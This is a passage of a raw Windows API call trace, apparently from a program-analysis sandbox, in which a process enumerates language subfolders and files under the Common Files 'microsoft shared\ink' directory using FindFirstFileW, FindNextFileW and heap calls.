ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.690] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.690] GetProcessHeap () returned 0xaf0000 [0276.690] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.690] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0276.690] GetProcessHeap () returned 0xaf0000 [0276.690] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.690] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.690] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.690] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.691] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.691] GetProcessHeap () returned 0xaf0000 [0276.691] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.691] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0276.691] GetProcessHeap () returned 0xaf0000 [0276.691] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.691] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.691] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.691] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.691] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.691] GetProcessHeap () returned 0xaf0000 [0276.691] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.691] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0276.692] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0276.692] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0276.692] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="th-TH", cAlternateFileName="")) returned 1 [0276.692] GetProcessHeap () returned 0xaf0000 [0276.692] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.692] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.692] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.693] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.693] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.693] GetProcessHeap () returned 0xaf0000 [0276.693] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.693] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0276.693] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0276.693] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0276.693] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0276.694] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0276.694] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0276.694] GetProcessHeap () returned 0xaf0000 [0276.694] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.694] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.694] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.695] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.695] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.695] GetProcessHeap () returned 0xaf0000 [0276.695] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.695] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0276.695] GetProcessHeap () returned 0xaf0000 [0276.695] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.695] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.695] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.695] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.696] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.696] GetProcessHeap () returned 0xaf0000 [0276.696] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.696] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0276.696] GetProcessHeap () returned 0xaf0000 [0276.696] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.696] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.696] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.696] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.697] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.697] GetProcessHeap () returned 0xaf0000 [0276.697] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.697] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0276.697] GetProcessHeap () returned 0xaf0000 [0276.697] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.698] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, 